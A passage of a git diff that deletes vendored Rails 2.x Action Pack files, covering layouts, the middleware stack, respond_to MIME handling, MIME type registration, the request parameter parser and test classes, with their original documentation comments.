-  #       assert_equal 200, status
-  #
-  #       # post the login and follow through to the home page
-  #       post "/login", :username => people(:jamis).username,
-  #         :password => people(:jamis).password
-  #       follow_redirect!
-  #       assert_equal 200, status
-  #       assert_equal "/home", path
-  #     end
-  #   end
-  #
-  # However, you can also have multiple session instances open per test, and
-  # even extend those instances with assertions and methods to create a very
-  # powerful testing DSL that is specific for your application. You can even
-  # reference any named routes you happen to have defined!
-  #
-  #   require "#{File.dirname(__FILE__)}/test_helper"
-  #
-  #   class AdvancedTest < ActionController::IntegrationTest
-  #     fixtures :people, :rooms
-  #
-  #     def test_login_and_speak
-  #       jamis, david = login(:jamis), login(:david)
-  #       room = rooms(:office)
-  #
-  #       jamis.enter(room)
-  #       jamis.speak(room, "anybody home?")
-  #
-  #       david.enter(room)
-  #       david.speak(room, "hello!")
-  #     end
-  #
-  #     private
-  #
-  #       module CustomAssertions
-  #         def enter(room)
-  #           # reference a named route, for maximum internal consistency!
-  #           get(room_url(:id => room.id))
-  #           assert(...)
-  #           ...
-  #         end
-  #
-  #         def speak(room, message)
-  #           xml_http_request "/say/#{room.id}", :message => message
-  #           assert(...)
-  #           ...
-  #         end
-  #       end
-  #
-  #       def login(who)
-  #         open_session do |sess|
-  #           sess.extend(CustomAssertions)
-  #           who = people(who)
-  #           sess.post "/login", :username => who.username,
-  #             :password => who.password
-  #           assert(...)
-  #         end
-  #       end
-  #   end
-  class IntegrationTest < ActiveSupport::TestCase
-    include Integration::Runner
-
-    # Work around a bug in test/unit caused by the default test being named
-    # as a symbol (:default_test), which causes regex test filters
-    # (like "ruby test.rb -n /foo/") to fail because =~ doesn't work on
-    # symbols.
-    def initialize(name) #:nodoc:
-      super(name.to_s)
-    end
-
-    # Work around test/unit's requirement that every subclass of TestCase have
-    # at least one test method. Note that this implementation extends to all
-    # subclasses, as well, so subclasses of IntegrationTest may also exist
-    # without any test methods.
-    def run(*args) #:nodoc:
-      return if @method_name == "default_test"
-      super
-    end
-
-    # Because of how use_instantiated_fixtures and use_transactional_fixtures
-    # are defined, we need to treat them as special cases. Otherwise, users
-    # would potentially have to set their values for both Test::Unit::TestCase
-    # ActionController::IntegrationTest, since by the time the value is set on
-    # TestCase, IntegrationTest has already been defined and cannot inherit
-    # changes to those variables. So, we make those two attributes
-    # copy-on-write.
-
-    class << self
-      def use_transactional_fixtures=(flag) #:nodoc:
-        @_use_transactional_fixtures = true
-        @use_transactional_fixtures = flag
-      end
-
-      def use_instantiated_fixtures=(flag) #:nodoc:
-        @_use_instantiated_fixtures = true
-        @use_instantiated_fixtures = flag
-      end
-
-      def use_transactional_fixtures #:nodoc:
-        @_use_transactional_fixtures ?
-          @use_transactional_fixtures :
-          superclass.use_transactional_fixtures
-      end
-
-      def use_instantiated_fixtures #:nodoc:
-        @_use_instantiated_fixtures ?
-          @use_instantiated_fixtures :
-          superclass.use_instantiated_fixtures
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/layout.rb b/vendor/rails/actionpack/lib/action_controller/layout.rb
deleted file mode 100644
index 73fafa63..00000000
--- a/vendor/rails/actionpack/lib/action_controller/layout.rb
+++ /dev/null
@@ -1,286 +0,0 @@
-module ActionController #:nodoc:
-  module Layout #:nodoc:
-    def self.included(base)
-      base.extend(ClassMethods)
-      base.class_eval do
-        class << self
-          alias_method_chain :inherited, :layout
-        end
-      end
-    end
-
-    # Layouts reverse the common pattern of including shared headers and footers in many templates to isolate changes in
-    # repeated setups. The inclusion pattern has pages that look like this:
-    #
-    #   <%= render "shared/header" %>
-    #   Hello World
-    #   <%= render "shared/footer" %>
-    #
-    # This approach is a decent way of keeping common structures isolated from the changing content, but it's verbose
-    # and if you ever want to change the structure of these two includes, you'll have to change all the templates.
-    #
-    # With layouts, you can flip it around and have the common structure know where to insert changing content. This means
-    # that the header and footer are only mentioned in one place, like this:
-    #
-    #   // The header part of this layout
-    #   <%= yield %>
-    #   // The footer part of this layout
-    #
-    # And then you have content pages that look like this:
-    #
-    #    hello world
-    #
-    # At rendering time, the content page is computed and then inserted in the layout, like this:
-    #
-    #   // The header part of this layout
-    #   hello world
-    #   // The footer part of this layout
-    #
-    # NOTE: The old notation for rendering the view from a layout was to expose the magic <tt>@content_for_layout</tt> instance
-    # variable. The preferred notation now is to use <tt>yield</tt>, as documented above.
-    #
-    # == Accessing shared variables
-    #
-    # Layouts have access to variables specified in the content pages and vice versa. This allows you to have layouts with
-    # references that won't materialize before rendering time:
-    #
-    #   <h1><%= @page_title %></h1>
-    #   <%= yield %>
-    #
-    # ...and content pages that fulfill these references _at_ rendering time:
-    #
-    #    <% @page_title = "Welcome" %>
-    #    Off-world colonies offers you a chance to start a new life
-    #
-    # The result after rendering is:
-    #
-    #   <h1>Welcome</h1>
-    #   Off-world colonies offers you a chance to start a new life
-    #
-    # == Automatic layout assignment
-    #
-    # If there is a template in <tt>app/views/layouts/</tt> with the same name as the current controller then it will be automatically
-    # set as that controller's layout unless explicitly told otherwise. Say you have a WeblogController, for example. If a template named
-    # <tt>app/views/layouts/weblog.erb</tt> or <tt>app/views/layouts/weblog.builder</tt> exists then it will be automatically set as
-    # the layout for your WeblogController. You can create a layout with the name <tt>application.erb</tt> or <tt>application.builder</tt>
-    # and this will be set as the default controller if there is no layout with the same name as the current controller and there is
-    # no layout explicitly assigned with the +layout+ method. Nested controllers use the same folder structure for automatic layout.
-    # assignment. So an Admin::WeblogController will look for a template named <tt>app/views/layouts/admin/weblog.erb</tt>.
-    # Setting a layout explicitly will always override the automatic behaviour for the controller where the layout is set.
-    # Explicitly setting the layout in a parent class, though, will not override the child class's layout assignment if the child
-    # class has a layout with the same name.
-    #
-    # == Inheritance for layouts
-    #
-    # Layouts are shared downwards in the inheritance hierarchy, but not upwards. Examples:
-    #
-    #   class BankController < ActionController::Base
-    #     layout "bank_standard"
-    #
-    #   class InformationController < BankController
-    #
-    #   class VaultController < BankController
-    #     layout :access_level_layout
-    #
-    #   class EmployeeController < BankController
-    #     layout nil
-    #
-    # The InformationController uses "bank_standard" inherited from the BankController, the VaultController overwrites
-    # and picks the layout dynamically, and the EmployeeController doesn't want to use a layout at all.
-    #
-    # == Types of layouts
-    #
-    # Layouts are basically just regular templates, but the name of this template needs not be specified statically. Sometimes
-    # you want to alternate layouts depending on runtime information, such as whether someone is logged in or not. This can
-    # be done either by specifying a method reference as a symbol or using an inline method (as a proc).
-    #
-    # The method reference is the preferred approach to variable layouts and is used like this:
-    #
-    #   class WeblogController < ActionController::Base
-    #     layout :writers_and_readers
-    #
-    #     def index
-    #       # fetching posts
-    #     end
-    #
-    #     private
-    #       def writers_and_readers
-    #         logged_in? ? "writer_layout" : "reader_layout"
-    #       end
-    #
-    # Now when a new request for the index action is processed, the layout will vary depending on whether the person accessing
-    # is logged in or not.
-    #
-    # If you want to use an inline method, such as a proc, do something like this:
-    #
-    #   class WeblogController < ActionController::Base
-    #     layout proc{ |controller| controller.logged_in? ? "writer_layout" : "reader_layout" }
-    #
-    # Of course, the most common way of specifying a layout is still just as a plain template name:
-    #
-    #   class WeblogController < ActionController::Base
-    #     layout "weblog_standard"
-    #
-    # If no directory is specified for the template name, the template will by default be looked for in <tt>app/views/layouts/</tt>.
-    # Otherwise, it will be looked up relative to the template root.
-    #
-    # == Conditional layouts
-    #
-    # If you have a layout that by default is applied to all the actions of a controller, you still have the option of rendering
-    # a given action or set of actions without a layout, or restricting a layout to only a single action or a set of actions. The
-    # <tt>:only</tt> and <tt>:except</tt> options can be passed to the layout call. For example:
-    #
-    #   class WeblogController < ActionController::Base
-    #     layout "weblog_standard", :except => :rss
-    #
-    #     # ...
-    #
-    #   end
-    #
-    # This will assign "weblog_standard" as the WeblogController's layout  except for the +rss+ action, which will not wrap a layout
-    # around the rendered view.
-    #
-    # Both the <tt>:only</tt> and <tt>:except</tt> condition can accept an arbitrary number of method references, so
-    # #<tt>:except => [ :rss, :text_only ]</tt> is valid, as is <tt>:except => :rss</tt>.
-    #
-    # == Using a different layout in the action render call
-    #
-    # If most of your actions use the same layout, it makes perfect sense to define a controller-wide layout as described above.
-    # Sometimes you'll have exceptions where one action wants to use a different layout than the rest of the controller.
-    # You can do this by passing a <tt>:layout</tt> option to the <tt>render</tt> call. For example:
-    #
-    #   class WeblogController < ActionController::Base
-    #     layout "weblog_standard"
-    #
-    #     def help
-    #       render :action => "help", :layout => "help"
-    #     end
-    #   end
-    #
-    # This will render the help action with the "help" layout instead of the controller-wide "weblog_standard" layout.
-    module ClassMethods
-      # If a layout is specified, all rendered actions will have their result rendered
-      # when the layout <tt>yield</tt>s. This layout can itself depend on instance variables assigned during action
-      # performance and have access to them as any normal template would.
-      def layout(template_name, conditions = {}, auto = false)
-        add_layout_conditions(conditions)
-        write_inheritable_attribute(:layout, template_name)
-        write_inheritable_attribute(:auto_layout, auto)
-      end
-
-      def layout_conditions #:nodoc:
-        @layout_conditions ||= read_inheritable_attribute(:layout_conditions)
-      end
-
-      def layout_list #:nodoc:
-        Array(view_paths).sum([]) { |path| Dir["#{path.to_str}/layouts/**/*"] }
-      end
-
-      private
-        def inherited_with_layout(child)
-          inherited_without_layout(child)
-          unless child.name.blank?
-            layout_match = child.name.underscore.sub(/_controller$/, '').sub(/^controllers\//, '')
-            child.layout(layout_match, {}, true) unless child.layout_list.grep(%r{layouts/#{layout_match}(\.[a-z][0-9a-z]*)+$}).empty?
-          end
-        end
-
-        def add_layout_conditions(conditions)
-          write_inheritable_hash(:layout_conditions, normalize_conditions(conditions))
-        end
-
-        def normalize_conditions(conditions)
-          conditions.inject({}) {|hash, (key, value)| hash.merge(key => [value].flatten.map {|action| action.to_s})}
-        end
-    end
-
-    def initialize(*args)
-      super
-      @real_format = nil
-    end
-
-    # Returns the name of the active layout. If the layout was specified as a method reference (through a symbol), this method
-    # is called and the return value is used. Likewise if the layout was specified as an inline method (through a proc or method
-    # object). If the layout was defined without a directory, layouts is assumed. So <tt>layout "weblog/standard"</tt> will return
-    # weblog/standard, but <tt>layout "standard"</tt> will return layouts/standard.
-    def active_layout(passed_layout = nil, options = {})
-      layout = passed_layout || default_layout
-      return layout if layout.respond_to?(:render)
-
-      active_layout = case layout
-        when Symbol then __send__(layout)
-        when Proc   then layout.call(self)
-        else layout
-      end
-
-      find_layout(active_layout, default_template_format, options[:html_fallback]) if active_layout
-    end
-
-    private
-      def default_layout #:nodoc:
-        layout = self.class.read_inheritable_attribute(:layout)
-        return layout unless self.class.read_inheritable_attribute(:auto_layout)
-        find_layout(layout, default_template_format)
-      rescue ActionView::MissingTemplate
-        nil
-      end
-
-      def find_layout(layout, format, html_fallback=false) #:nodoc:
-        view_paths.find_template(layout.to_s =~ /\A\/|layouts\// ? layout : "layouts/#{layout}", format, html_fallback)
-      rescue ActionView::MissingTemplate
-        raise if Mime::Type.lookup_by_extension(format.to_s).html?
-      end
-
-      def pick_layout(options)
-        if options.has_key?(:layout)
-          case layout = options.delete(:layout)
-          when FalseClass
-            nil
-          when NilClass, TrueClass
-            active_layout if action_has_layout? && candidate_for_layout?(:template => default_template_name)
-          else
-            active_layout(layout, :html_fallback => true)
-          end
-        else
-          active_layout if action_has_layout? && candidate_for_layout?(options)
-        end
-      end
-
-      def action_has_layout?
-        if conditions = self.class.layout_conditions
-          case
-            when only = conditions[:only]
-              only.include?(action_name)
-            when except = conditions[:except]
-              !except.include?(action_name)
-            else
-              true
-          end
-        else
-          true
-        end
-      end
-
-      def candidate_for_layout?(options)
-        template = options[:template] || default_template(options[:action])
-        if options.values_at(:text, :xml, :json, :file, :inline, :partial, :nothing, :update).compact.empty?
-          begin
-            template_object = self.view_paths.find_template(template, default_template_format)
-            # this restores the behavior from 2.2.2, where response.template.template_format was reset
-            # to :html for :js requests with a matching html template.
-            # see v2.2.2, ActionView::Base, lines 328-330
-            @real_format = :html if response.template.template_format == :js && template_object.format == "html"
-            !template_object.exempt_from_layout?
-          rescue ActionView::MissingTemplate
-            true
-          end
-        end
-      rescue ActionView::MissingTemplate
-        false
-      end
-
-      def default_template_format
-        @real_format || response.template.template_format
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/middleware_stack.rb b/vendor/rails/actionpack/lib/action_controller/middleware_stack.rb
deleted file mode 100644
index b739a6d7..00000000
--- a/vendor/rails/actionpack/lib/action_controller/middleware_stack.rb
+++ /dev/null
@@ -1,119 +0,0 @@
-module ActionController
-  class MiddlewareStack < Array
-    class Middleware
-      def self.new(klass, *args, &block)
-        if klass.is_a?(self)
-          klass
-        else
-          super
-        end
-      end
-
-      attr_reader :args, :block
-
-      def initialize(klass, *args, &block)
-        @klass = klass
-
-        options = args.extract_options!
-        if options.has_key?(:if)
-          @conditional = options.delete(:if)
-        else
-          @conditional = true
-        end
-        args << options unless options.empty?
-
-        @args = args
-        @block = block
-      end
-
-      def klass
-        if @klass.respond_to?(:call)
-          @klass.call
-        elsif @klass.is_a?(Class)
-          @klass
-        else
-          @klass.to_s.constantize
-        end
-      rescue NameError
-        @klass
-      end
-
-      def active?
-        return false unless klass
-
-        if @conditional.respond_to?(:call)
-          @conditional.call
-        else
-          @conditional
-        end
-      end
-
-      def ==(middleware)
-        case middleware
-        when Middleware
-          klass == middleware.klass
-        when Class
-          klass == middleware
-        else
-          klass == middleware.to_s.constantize
-        end
-      end
-
-      def inspect
-        str = klass.to_s
-        args.each { |arg| str += ", #{arg.inspect}" }
-        str
-      end
-
-      def build(app)
-        if block
-          klass.new(app, *build_args, &block)
-        else
-          klass.new(app, *build_args)
-        end
-      end
-
-      private
-
-        def build_args
-          Array(args).map { |arg| arg.respond_to?(:call) ? arg.call : arg }
-        end
-    end
-
-    def initialize(*args, &block)
-      super(*args)
-      block.call(self) if block_given?
-    end
-
-    def insert(index, *args, &block)
-      index = self.index(index) unless index.is_a?(Integer)
-      middleware = Middleware.new(*args, &block)
-      super(index, middleware)
-    end
-
-    alias_method :insert_before, :insert
-
-    def insert_after(index, *args, &block)
-      index = self.index(index) unless index.is_a?(Integer)
-      insert(index + 1, *args, &block)
-    end
-
-    def swap(target, *args, &block)
-      insert_before(target, *args, &block)
-      delete(target)
-    end
-
-    def use(*args, &block)
-      middleware = Middleware.new(*args, &block)
-      push(middleware)
-    end
-
-    def active
-      find_all { |middleware| middleware.active? }
-    end
-
-    def build(app)
-      active.reverse.inject(app) { |a, e| e.build(a) }
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/middlewares.rb b/vendor/rails/actionpack/lib/action_controller/middlewares.rb
deleted file mode 100644
index 16eb363c..00000000
--- a/vendor/rails/actionpack/lib/action_controller/middlewares.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-use "Rack::Lock", :if => lambda {
-  !ActionController::Base.allow_concurrency
-}
-
-use "ActionController::Failsafe"
-
-use lambda { ActionController::Base.session_store },
-    lambda { ActionController::Base.session_options }
-
-use "ActionController::ParamsParser"
-use "Rack::MethodOverride"
-use "Rack::Head"
-
-use "ActionController::StringCoercion"
diff --git a/vendor/rails/actionpack/lib/action_controller/mime_responds.rb b/vendor/rails/actionpack/lib/action_controller/mime_responds.rb
deleted file mode 100644
index b7553638..00000000
--- a/vendor/rails/actionpack/lib/action_controller/mime_responds.rb
+++ /dev/null
@@ -1,193 +0,0 @@
-module ActionController #:nodoc:
-  module MimeResponds #:nodoc:
-    def self.included(base)
-      base.module_eval do
-        include ActionController::MimeResponds::InstanceMethods
-      end
-    end
-
-    module InstanceMethods
-      # Without web-service support, an action which collects the data for displaying a list of people
-      # might look something like this:
-      #
-      #   def index
-      #     @people = Person.find(:all)
-      #   end
-      #
-      # Here's the same action, with web-service support baked in:
-      #
-      #   def index
-      #     @people = Person.find(:all)
-      #
-      #     respond_to do |format|
-      #       format.html
-      #       format.xml { render :xml => @people.to_xml }
-      #     end
-      #   end
-      #
-      # What that says is, "if the client wants HTML in response to this action, just respond as we
-      # would have before, but if the client wants XML, return them the list of people in XML format."
-      # (Rails determines the desired response format from the HTTP Accept header submitted by the client.)
-      #
-      # Supposing you have an action that adds a new person, optionally creating their company
-      # (by name) if it does not already exist, without web-services, it might look like this:
-      #
-      #   def create
-      #     @company = Company.find_or_create_by_name(params[:company][:name])
-      #     @person  = @company.people.create(params[:person])
-      #
-      #     redirect_to(person_list_url)
-      #   end
-      #
-      # Here's the same action, with web-service support baked in:
-      #
-      #   def create
-      #     company  = params[:person].delete(:company)
-      #     @company = Company.find_or_create_by_name(company[:name])
-      #     @person  = @company.people.create(params[:person])
-      #
-      #     respond_to do |format|
-      #       format.html { redirect_to(person_list_url) }
-      #       format.js
-      #       format.xml  { render :xml => @person.to_xml(:include => @company) }
-      #     end
-      #   end
-      #
-      # If the client wants HTML, we just redirect them back to the person list. If they want Javascript
-      # (format.js), then it is an RJS request and we render the RJS template associated with this action.
-      # Lastly, if the client wants XML, we render the created person as XML, but with a twist: we also
-      # include the person's company in the rendered XML, so you get something like this:
-      #
-      #   <person>
-      #     <id>...</id>
-      #     ...
-      #     <company>
-      #       <id>...</id>
-      #       <name>...</name>
-      #       ...
-      #     </company>
-      #   </person>
-      #
-      # Note, however, the extra bit at the top of that action:
-      #
-      #   company  = params[:person].delete(:company)
-      #   @company = Company.find_or_create_by_name(company[:name])
-      #
-      # This is because the incoming XML document (if a web-service request is in process) can only contain a
-      # single root-node. So, we have to rearrange things so that the request looks like this (url-encoded):
-      #
-      #   person[name]=...&person[company][name]=...&...
-      #
-      # And, like this (xml-encoded):
-      #
-      #   <person>
-      #     <name>...</name>
-      #     <company>
-      #       <name>...</name>
-      #     </company>
-      #   </person>
-      #
-      # In other words, we make the request so that it operates on a single entity's person. Then, in the action,
-      # we extract the company data from the request, find or create the company, and then create the new person
-      # with the remaining data.
-      #
-      # Note that you can define your own XML parameter parser which would allow you to describe multiple entities
-      # in a single request (i.e., by wrapping them all in a single root node), but if you just go with the flow
-      # and accept Rails' defaults, life will be much easier.
-      #
-      # If you need to use a MIME type which isn't supported by default, you can register your own handlers in
-      # environment.rb as follows.
-      #
-      #   Mime::Type.register "image/jpg", :jpg
-      def respond_to(*types, &block)
-        raise ArgumentError, "respond_to takes either types or a block, never both" unless types.any? ^ block
-        block ||= lambda { |responder| types.each { |type| responder.send(type) } }
-        responder = Responder.new(self)
-        block.call(responder)
-        responder.respond
-      end
-    end
-
-    class Responder #:nodoc:
-      def initialize(controller)
-        @controller = controller
-        @request    = controller.request
-        @response   = controller.response
-
-        if ActionController::Base.use_accept_header
-          @mime_type_priority = Array(Mime::Type.lookup_by_extension(@request.parameters[:format]) || @request.accepts)
-        else
-          @mime_type_priority = [@request.format]
-        end
-
-        @order     = []
-        @responses = {}
-      end
-
-      def custom(mime_type, &block)
-        mime_type = mime_type.is_a?(Mime::Type) ? mime_type : Mime::Type.lookup(mime_type.to_s)
-
-        @order << mime_type
-
-        @responses[mime_type] ||= Proc.new do
-          @response.template.template_format = mime_type.to_sym
-          @response.content_type = mime_type.to_s
-          block_given? ? block.call : @controller.send(:render, :action => @controller.action_name)
-        end
-      end
-
-      def any(*args, &block)
-        if args.any?
-          args.each { |type| send(type, &block) }
-        else
-          custom(@mime_type_priority.first, &block)
-        end
-      end
-      
-      def self.generate_method_for_mime(mime)
-        sym = mime.is_a?(Symbol) ? mime : mime.to_sym
-        const = sym.to_s.upcase
-        class_eval <<-RUBY, __FILE__, __LINE__ + 1
-          def #{sym}(&block)                # def html(&block)
-            custom(Mime::#{const}, &block)  #   custom(Mime::HTML, &block)
-          end                               # end
-        RUBY
-      end
-
-      Mime::SET.each do |mime|
-        generate_method_for_mime(mime)
-      end
-
-      def method_missing(symbol, &block)
-        mime_constant = Mime.const_get(symbol.to_s.upcase)
-      
-        if Mime::SET.include?(mime_constant)
-          self.class.generate_method_for_mime(mime_constant)
-          send(symbol, &block)
-        else
-          super
-        end
-      end
-
-      def respond
-        for priority in @mime_type_priority
-          if priority == Mime::ALL
-            @responses[@order.first].call
-            return
-          else
-            if @responses[priority]
-              @responses[priority].call
-              return # mime type match found, be happy and return
-            end
-          end
-        end
-
-        if @order.include?(Mime::ALL)
-          @responses[Mime::ALL].call
-        else
-          @controller.send :head, :not_acceptable
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/mime_type.rb b/vendor/rails/actionpack/lib/action_controller/mime_type.rb
deleted file mode 100644
index 017626ba..00000000
--- a/vendor/rails/actionpack/lib/action_controller/mime_type.rb
+++ /dev/null
@@ -1,212 +0,0 @@
-require 'set'
-
-module Mime
-  SET              = []
-  EXTENSION_LOOKUP = Hash.new { |h, k| h[k] = Type.new(k) unless k.blank? }
-  LOOKUP           = Hash.new { |h, k| h[k] = Type.new(k) unless k.blank? }
-
-  # Encapsulates the notion of a mime type. Can be used at render time, for example, with:
-  #
-  #   class PostsController < ActionController::Base
-  #     def show
-  #       @post = Post.find(params[:id])
-  #
-  #       respond_to do |format|
-  #         format.html
-  #         format.ics { render :text => post.to_ics, :mime_type => Mime::Type["text/calendar"]  }
-  #         format.xml { render :xml => @people.to_xml }
-  #       end
-  #     end
-  #   end
-  class Type
-    @@html_types = Set.new [:html, :all]
-    cattr_reader :html_types
-
-    # These are the content types which browsers can generate without using ajax, flash, etc
-    # i.e. following a link, getting an image or posting a form.  CSRF protection
-    # only needs to protect against these types.
-    @@browser_generated_types = Set.new [:html, :url_encoded_form, :multipart_form, :text]
-    cattr_reader :browser_generated_types
-
-
-    @@unverifiable_types = Set.new [:text, :json, :csv, :xml, :rss, :atom, :yaml]
-    def self.unverifiable_types
-      ActiveSupport::Deprecation.warn("unverifiable_types is deprecated and has no effect", caller)
-      @@unverifiable_types
-    end
-
-    # A simple helper class used in parsing the accept header
-    class AcceptItem #:nodoc:
-      attr_accessor :order, :name, :q
-
-      def initialize(order, name, q=nil)
-        @order = order
-        @name = name.strip
-        q ||= 0.0 if @name == Mime::ALL # default wilcard match to end of list
-        @q = ((q || 1.0).to_f * 100).to_i
-      end
-
-      def to_s
-        @name
-      end
-
-      def <=>(item)
-        result = item.q <=> q
-        result = order <=> item.order if result == 0
-        result
-      end
-
-      def ==(item)
-        name == (item.respond_to?(:name) ? item.name : item)
-      end
-    end
-
-    class << self
-      def lookup(string)
-        LOOKUP[string]
-      end
-
-      def lookup_by_extension(extension)
-        EXTENSION_LOOKUP[extension]
-      end
-
-      # Registers an alias that's not used on mime type lookup, but can be referenced directly. Especially useful for
-      # rendering different HTML versions depending on the user agent, like an iPhone.
-      def register_alias(string, symbol, extension_synonyms = [])
-        register(string, symbol, [], extension_synonyms, true)
-      end
-
-      def register(string, symbol, mime_type_synonyms = [], extension_synonyms = [], skip_lookup = false)
-        Mime.instance_eval { const_set symbol.to_s.upcase, Type.new(string, symbol, mime_type_synonyms) }
-
-        SET << Mime.const_get(symbol.to_s.upcase)
-
-        ([string] + mime_type_synonyms).each { |string| LOOKUP[string] = SET.last } unless skip_lookup
-        ([symbol.to_s] + extension_synonyms).each { |ext| EXTENSION_LOOKUP[ext] = SET.last }
-      end
-
-      def parse(accept_header)
-        if accept_header !~ /,/
-          [Mime::Type.lookup(accept_header)]
-        else
-          # keep track of creation order to keep the subsequent sort stable
-          list = []
-          accept_header.split(/,/).each_with_index do |header, index| 
-            params, q = header.split(/;\s*q=/)       
-            if params
-              params.strip!          
-              list << AcceptItem.new(index, params, q) unless params.empty?
-            end
-          end
-          list.sort!
-
-          # Take care of the broken text/xml entry by renaming or deleting it
-          text_xml = list.index("text/xml")
-          app_xml = list.index(Mime::XML.to_s)
-
-          if text_xml && app_xml
-            # set the q value to the max of the two
-            list[app_xml].q = [list[text_xml].q, list[app_xml].q].max
-
-            # make sure app_xml is ahead of text_xml in the list
-            if app_xml > text_xml
-              list[app_xml], list[text_xml] = list[text_xml], list[app_xml]
-              app_xml, text_xml = text_xml, app_xml
-            end
-
-            # delete text_xml from the list
-            list.delete_at(text_xml)
-
-          elsif text_xml
-            list[text_xml].name = Mime::XML.to_s
-          end
-
-          # Look for more specific XML-based types and sort them ahead of app/xml
-
-          if app_xml
-            idx = app_xml
-            app_xml_type = list[app_xml]
-
-            while(idx < list.length)
-              type = list[idx]
-              break if type.q < app_xml_type.q
-              if type.name =~ /\+xml$/
-                list[app_xml], list[idx] = list[idx], list[app_xml]
-                app_xml = idx
-              end
-              idx += 1
-            end
-          end
-
-          list.map! { |i| Mime::Type.lookup(i.name) }.uniq!
-          list
-        end
-      end
-    end
-    
-    def initialize(string, symbol = nil, synonyms = [])
-      @symbol, @synonyms = symbol, synonyms
-      @string = string
-    end
-    
-    def to_s
-      @string
-    end
-    
-    def to_str
-      to_s
-    end
-    
-    def to_sym
-      @symbol || @string.to_sym
-    end
-
-    def ===(list)
-      if list.is_a?(Array)
-        (@synonyms + [ self ]).any? { |synonym| list.include?(synonym) }
-      else
-        super
-      end
-    end
-    
-    def ==(mime_type)
-      return false if mime_type.blank?
-      (@synonyms + [ self ]).any? do |synonym| 
-        synonym.to_s == mime_type.to_s || synonym.to_sym == mime_type.to_sym 
-      end
-    end
-
-    def =~(mime_type)
-      return false if mime_type.blank?
-      regexp = Regexp.new(Regexp.quote(mime_type.to_s))
-      (@synonyms + [ self ]).any? do |synonym|
-        synonym.to_s =~ regexp
-      end
-    end
-
-    # Returns true if Action Pack should check requests using this Mime Type for possible request forgery.  See
-    # ActionController::RequestForgeryProtection.
-    def verify_request?
-      browser_generated?
-    end
-
-    def html?
-      @@html_types.include?(to_sym) || @string =~ /html/
-    end
-
-    def browser_generated?
-      @@browser_generated_types.include?(to_sym)
-    end
-
-    private
-      def method_missing(method, *args)
-        if method.to_s =~ /(\w+)\?$/
-          $1.downcase.to_sym == to_sym
-        else
-          super
-        end
-      end
-  end
-end
-
-require 'action_controller/mime_types'
diff --git a/vendor/rails/actionpack/lib/action_controller/mime_types.rb b/vendor/rails/actionpack/lib/action_controller/mime_types.rb
deleted file mode 100644
index 2d7fba11..00000000
--- a/vendor/rails/actionpack/lib/action_controller/mime_types.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# Build list of Mime types for HTTP responses
-# http://www.iana.org/assignments/media-types/
-
-Mime::Type.register "*/*", :all
-Mime::Type.register "text/plain", :text, [], %w(txt)
-Mime::Type.register "text/html", :html, %w( application/xhtml+xml ), %w( xhtml )
-Mime::Type.register "text/javascript", :js, %w( application/javascript application/x-javascript )
-Mime::Type.register "text/css", :css
-Mime::Type.register "text/calendar", :ics
-Mime::Type.register "text/csv", :csv
-Mime::Type.register "application/xml", :xml, %w( text/xml application/x-xml )
-Mime::Type.register "application/rss+xml", :rss
-Mime::Type.register "application/atom+xml", :atom
-Mime::Type.register "application/x-yaml", :yaml, %w( text/yaml )
-
-Mime::Type.register "multipart/form-data", :multipart_form
-Mime::Type.register "application/x-www-form-urlencoded", :url_encoded_form
-
-# http://www.ietf.org/rfc/rfc4627.txt
-# http://www.json.org/JSONRequest.html
-Mime::Type.register "application/json", :json, %w( text/x-json application/jsonrequest )
\ No newline at end of file
diff --git a/vendor/rails/actionpack/lib/action_controller/params_parser.rb b/vendor/rails/actionpack/lib/action_controller/params_parser.rb
deleted file mode 100644
index f7e3c54b..00000000
--- a/vendor/rails/actionpack/lib/action_controller/params_parser.rb
+++ /dev/null
@@ -1,77 +0,0 @@
-module ActionController
-  class ParamsParser
-    ActionController::Base.param_parsers[Mime::XML] = :xml_simple
-    ActionController::Base.param_parsers[Mime::JSON] = :json
-
-    def initialize(app)
-      @app = app
-    end
-
-    def call(env)
-      if params = parse_formatted_parameters(env)
-        env["action_controller.request.request_parameters"] = params
-      end
-
-      @app.call(env)
-    end
-
-    private
-      def parse_formatted_parameters(env)
-        request = Request.new(env)
-
-        return false if request.content_length.zero?
-
-        mime_type = content_type_from_legacy_post_data_format_header(env) || request.content_type
-        strategy = ActionController::Base.param_parsers[mime_type]
-
-        return false unless strategy
-
-        case strategy
-          when Proc
-            strategy.call(request.raw_post)
-          when :xml_simple, :xml_node
-            body = request.raw_post
-            body.blank? ? {} : Hash.from_xml(body).with_indifferent_access
-          when :yaml
-            YAML.load(request.raw_post)
-          when :json
-            body = request.raw_post
-            if body.blank?
-              {}
-            else
-              data = ActiveSupport::JSON.decode(body)
-              data = {:_json => data} unless data.is_a?(Hash)
-              data.with_indifferent_access
-            end
-          else
-            false
-        end
-      rescue Exception => e # YAML, XML or Ruby code block errors
-        logger.debug "Error occurred while parsing request parameters.\nContents:\n\n#{request.raw_post}"
-
-        raise
-          { "body" => request.raw_post,
-            "content_type" => request.content_type,
-            "content_length" => request.content_length,
-            "exception" => "#{e.message} (#{e.class})",
-            "backtrace" => e.backtrace }
-      end
-
-      def content_type_from_legacy_post_data_format_header(env)
-        if x_post_format = env['HTTP_X_POST_DATA_FORMAT']
-          case x_post_format.to_s.downcase
-            when 'yaml'
-              return Mime::YAML
-            when 'xml'
-              return Mime::XML
-          end
-        end
-
-        nil
-      end
-
-      def logger
-        defined?(Rails.logger) ? Rails.logger : Logger.new($stderr)
-      end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/performance_test.rb b/vendor/rails/actionpack/lib/action_controller/performance_test.rb
deleted file mode 100644
index d8818008..00000000
--- a/vendor/rails/actionpack/lib/action_controller/performance_test.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-require 'active_support/testing/performance'
-require 'active_support/testing/default'
-
-module ActionController
-  # An integration test that runs a code profiler on your test methods.
-  # Profiling output for combinations of each test method, measurement, and
-  # output format are written to your tmp/performance directory.
-  #
-  # By default, process_time is measured and both flat and graph_html output
-  # formats are written, so you'll have two output files per test method.
-  class PerformanceTest < ActionController::IntegrationTest
-    include ActiveSupport::Testing::Performance
-    include ActiveSupport::Testing::Default
-  end
-end
